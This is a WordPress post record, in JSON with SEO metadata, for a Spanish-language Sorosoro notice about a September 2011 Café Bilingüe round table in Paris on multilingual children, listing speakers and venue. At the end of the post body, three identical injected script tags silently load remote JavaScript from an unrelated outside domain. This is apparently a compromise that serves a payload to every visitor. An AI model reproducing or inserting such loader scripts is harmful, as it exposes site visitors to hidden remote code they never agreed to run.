{"id":55893,"date":"2011-09-26T18:00:19","date_gmt":"2011-09-26T16:00:19","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=55893"},"modified":"2025-10-21T22:21:43","modified_gmt":"2025-10-21T20:21:43","slug":"26-de-setiembre-de-2011-mesa-redonda-del-cafe-bilingue-sobre-los-ninos-pulirilingues-en-paris","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2011\/09\/26-de-setiembre-de-2011-mesa-redonda-del-cafe-bilingue-sobre-los-ninos-pulirilingues-en-paris\/","title":{"rendered":"26 de setiembre de 2011: mesa redonda del Caf\u00e9 Biling\u00fce sobre \u00abLos ni\u00f1os puliriling\u00fces\u00bb en Par\u00eds."},"content":{"rendered":"<p style=\"text-align: justify;\">Desde hace 5 a\u00f1os, el <strong>C<\/strong>entro de <strong>A<\/strong>nimaci\u00f3n y de <strong>F<\/strong>ormaci\u00f3n sobre la <strong>E<\/strong>ducaci\u00f3n Biling\u00fce y Pluriling\u00fce (llamado tambi\u00e9n <a href=\"http:\/\/www.cafebilingue.com\" target=\"_blank\">CAF\u00c9 BILING\u00dcE<\/a>), contin\u00faa con la <strong>promoci\u00f3n del biling\u00fcismo y pluriling\u00fcismo en la educaci\u00f3n<\/strong> mediante diversas acciones. En particular, ah\u00ed donde es posible, trabaja por el mantenimiento de las lenguas familiares y por el reconocimiento del patrimonio pluriling\u00fce de las familias,<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Aparte de esta s\u00f3lida experiencia en terreno con las familias de or\u00edgenes y lenguas de las m\u00e1s diversas propone, por otra parte, las conferencias\u2013debates, encuentros, grupos de hablantes, paseos familiares, fiestas de lenguas as\u00ed como la formaci\u00f3n de los profesionales de la peque\u00f1a infancia, de la salud, de la ense\u00f1anza y de todos los que trabajan en un entorno multicultural.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">El tema de la pr\u00f3xima Mesa Redonda, que se inscribe dentro del marco del <a href=\"https:\/\/www.sorosoro.org\/es\/26-de-septiembre-del-2011-10-dia-europeo-de-las-lenguas\">D\u00eda Europeo de las Lenguas<\/a>, es \u00ab<strong>Los ni\u00f1os pluriling\u00fces, del biling\u00fcismo de las \u00e9lites al pluriling\u00fcismo de los migrantes<\/strong>\u00bb y todo lo que est\u00e1 en juego es descrito como sigue:<\/p>\n<p style=\"text-align: justify;\"><em>En Francia viven millones de familias que practican un biling\u00fcismo cotidiano. En algunas familias es percibido como un triunfo y en otras es ignorado y denigrado. El reconocimiento del fen\u00f3meno como estructurante de la personalidad y el tenerlo en cuenta en los aprendizajes es a\u00fan un gran desaf\u00edo para el sistema educativo y la sociedad.<\/em><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Los expertos invitados  para el debate son:<\/p>\n<p style=\"text-align: justify;\">&#8211; Ranka Bijeljac-Babic, psicoling\u00fcista, Universidad de Poitiers, Par\u00eds Descartes y CNRS.<\/p>\n<p style=\"text-align: justify;\">&#8211; Andrea Young, ling\u00fcista, el UFM, Universidad de Straburgo.<\/p>\n<p style=\"text-align: justify;\">&#8211; Kamila Sefta, socioling\u00fcista, Universdiad de Par\u00eds III<\/p>\n<p style=\"text-align: justify;\">&#8211; Barbara Abdelilah-Bauer, psico-soci\u00f3loga, ling\u00fcista, fundadora de CAF\u00c9 Biling\u00fce<\/p>\n<p style=\"text-align: justify;\">&#8211; Marie Rose Moro,\u00a0profesor de psiquiatr\u00eda infantil y del adolescente, Universidad Par\u00eds Descartes<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Para mayor informaci\u00f3n e inscripci\u00f3n: <a href=\"mailto:inscripci\u00f3n@cafebilingue.com\">inscripci\u00f3n@cafebilingue.com<\/a><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><em>Lunes, 26 de setiembre desde las 18hs30 hasta las 20hs30<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Universidad Ren\u00e9 Descartes<\/em><\/p>\n<p style=\"text-align: justify;\"><em>75006 \u2013 Par\u00eds<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Entrada libre.<\/em><\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Desde hace 5 a\u00f1os, el Centro de Animaci\u00f3n y de Formaci\u00f3n sobre la Educaci\u00f3n Biling\u00fce y Pluriling\u00fce (llamado tambi\u00e9n CAF\u00c9 BILING\u00dcE), contin\u00faa con la promoci\u00f3n del biling\u00fcismo y pluriling\u00fcismo en la educaci\u00f3n mediante diversas acciones. En particular, ah\u00ed donde es posible, trabaja por el mantenimiento de las lenguas familiares y por el reconocimiento del patrimonio [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10],"tags":[],"class_list":["post-55893","post","type-post","status-publish","format-standard","hentry","category-calendario"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>26 de setiembre de 2011: mesa redonda del Caf\u00e9 Biling\u00fce sobre \u00abLos ni\u00f1os puliriling\u00fces\u00bb en Par\u00eds. - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2011\/09\/26-de-setiembre-de-2011-mesa-redonda-del-cafe-bilingue-sobre-los-ninos-pulirilingues-en-paris\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"26 de setiembre de 2011: mesa redonda del Caf\u00e9 Biling\u00fce sobre \u00abLos ni\u00f1os puliriling\u00fces\u00bb en Par\u00eds. - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Desde hace 5 a\u00f1os, el Centro de Animaci\u00f3n y de Formaci\u00f3n sobre la Educaci\u00f3n Biling\u00fce y Pluriling\u00fce (llamado tambi\u00e9n CAF\u00c9 BILING\u00dcE), contin\u00faa con la promoci\u00f3n del biling\u00fcismo y pluriling\u00fcismo en la educaci\u00f3n mediante diversas acciones. En particular, ah\u00ed donde es posible, trabaja por el mantenimiento de las lenguas familiares y por el reconocimiento del patrimonio [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2011\/09\/26-de-setiembre-de-2011-mesa-redonda-del-cafe-bilingue-sobre-los-ninos-pulirilingues-en-paris\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-09-26T16:00:19+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:21:43+00:00\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/09\/26-de-setiembre-de-2011-mesa-redonda-del-cafe-bilingue-sobre-los-ninos-pulirilingues-en-paris\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/09\/26-de-setiembre-de-2011-mesa-redonda-del-cafe-bilingue-sobre-los-ninos-pulirilingues-en-paris\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"26 de setiembre de 2011: mesa redonda del Caf\u00e9 Biling\u00fce sobre \u00abLos ni\u00f1os puliriling\u00fces\u00bb en Par\u00eds.\",\"datePublished\":\"2011-09-26T16:00:19+00:00\",\"dateModified\":\"2025-10-21T20:21:43+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/09\/26-de-setiembre-de-2011-mesa-redonda-del-cafe-bilingue-sobre-los-ninos-pulirilingues-en-paris\/\"},\"wordCount\":361,\"articleSection\":[\"Calendario\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/09\/26-de-setiembre-de-2011-mesa-redonda-del-cafe-bilingue-sobre-los-ninos-pulirilingues-en-paris\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2011\/09\/26-de-setiembre-de-2011-mesa-redonda-del-cafe-bilingue-sobre-los-ninos-pulirilingues-en-paris\/\",\"name\":\"26 de setiembre de 2011: mesa redonda del Caf\u00e9 Biling\u00fce sobre \u00abLos ni\u00f1os puliriling\u00fces\u00bb en Par\u00eds. - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2011-09-26T16:00:19+00:00\",\"dateModified\":\"2025-10-21T20:21:43+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/09\/26-de-setiembre-de-2011-mesa-redonda-del-cafe-bilingue-sobre-los-ninos-pulirilingues-en-paris\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2011\/09\/26-de-setiembre-de-2011-mesa-redonda-del-cafe-bilingue-sobre-los-ninos-pulirilingues-en-paris\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/09\/26-de-setiembre-de-2011-mesa-redonda-del-cafe-bilingue-sobre-los-ninos-pulirilingues-en-paris\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"26 de setiembre de 2011: mesa redonda del Caf\u00e9 Biling\u00fce sobre \u00abLos ni\u00f1os puliriling\u00fces\u00bb en Par\u00eds.\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"26 de setiembre de 2011: mesa redonda del Caf\u00e9 Biling\u00fce sobre \u00abLos ni\u00f1os puliriling\u00fces\u00bb en Par\u00eds. - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2011\/09\/26-de-setiembre-de-2011-mesa-redonda-del-cafe-bilingue-sobre-los-ninos-pulirilingues-en-paris\/","og_locale":"es_ES","og_type":"article","og_title":"26 de setiembre de 2011: mesa redonda del Caf\u00e9 Biling\u00fce sobre \u00abLos ni\u00f1os puliriling\u00fces\u00bb en Par\u00eds. - Sorosoro","og_description":"Desde hace 5 a\u00f1os, el Centro de Animaci\u00f3n y de Formaci\u00f3n sobre la Educaci\u00f3n Biling\u00fce y Pluriling\u00fce (llamado tambi\u00e9n CAF\u00c9 BILING\u00dcE), contin\u00faa con la promoci\u00f3n del biling\u00fcismo y pluriling\u00fcismo en la educaci\u00f3n mediante diversas acciones. En particular, ah\u00ed donde es posible, trabaja por el mantenimiento de las lenguas familiares y por el reconocimiento del patrimonio [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2011\/09\/26-de-setiembre-de-2011-mesa-redonda-del-cafe-bilingue-sobre-los-ninos-pulirilingues-en-paris\/","og_site_name":"Sorosoro","article_published_time":"2011-09-26T16:00:19+00:00","article_modified_time":"2025-10-21T20:21:43+00:00","author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Michel.Lemee","Tiempo de lectura":"2 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2011\/09\/26-de-setiembre-de-2011-mesa-redonda-del-cafe-bilingue-sobre-los-ninos-pulirilingues-en-paris\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/09\/26-de-setiembre-de-2011-mesa-redonda-del-cafe-bilingue-sobre-los-ninos-pulirilingues-en-paris\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"26 de setiembre de 2011: mesa redonda del Caf\u00e9 Biling\u00fce sobre \u00abLos ni\u00f1os puliriling\u00fces\u00bb en Par\u00eds.","datePublished":"2011-09-26T16:00:19+00:00","dateModified":"2025-10-21T20:21:43+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/09\/26-de-setiembre-de-2011-mesa-redonda-del-cafe-bilingue-sobre-los-ninos-pulirilingues-en-paris\/"},"wordCount":361,"articleSection":["Calendario"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2011\/09\/26-de-setiembre-de-2011-mesa-redonda-del-cafe-bilingue-sobre-los-ninos-pulirilingues-en-paris\/","url":"https:\/\/www.sorosoro.org\/es\/2011\/09\/26-de-setiembre-de-2011-mesa-redonda-del-cafe-bilingue-sobre-los-ninos-pulirilingues-en-paris\/","name":"26 de setiembre de 2011: mesa redonda del Caf\u00e9 Biling\u00fce sobre \u00abLos ni\u00f1os puliriling\u00fces\u00bb en Par\u00eds. - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2011-09-26T16:00:19+00:00","dateModified":"2025-10-21T20:21:43+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/09\/26-de-setiembre-de-2011-mesa-redonda-del-cafe-bilingue-sobre-los-ninos-pulirilingues-en-paris\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2011\/09\/26-de-setiembre-de-2011-mesa-redonda-del-cafe-bilingue-sobre-los-ninos-pulirilingues-en-paris\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2011\/09\/26-de-setiembre-de-2011-mesa-redonda-del-cafe-bilingue-sobre-los-ninos-pulirilingues-en-paris\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"26 de setiembre de 2011: mesa redonda del Caf\u00e9 Biling\u00fce sobre \u00abLos ni\u00f1os puliriling\u00fces\u00bb en Par\u00eds."}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/55893","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=55893"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/55893\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=55893"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=55893"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=55893"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}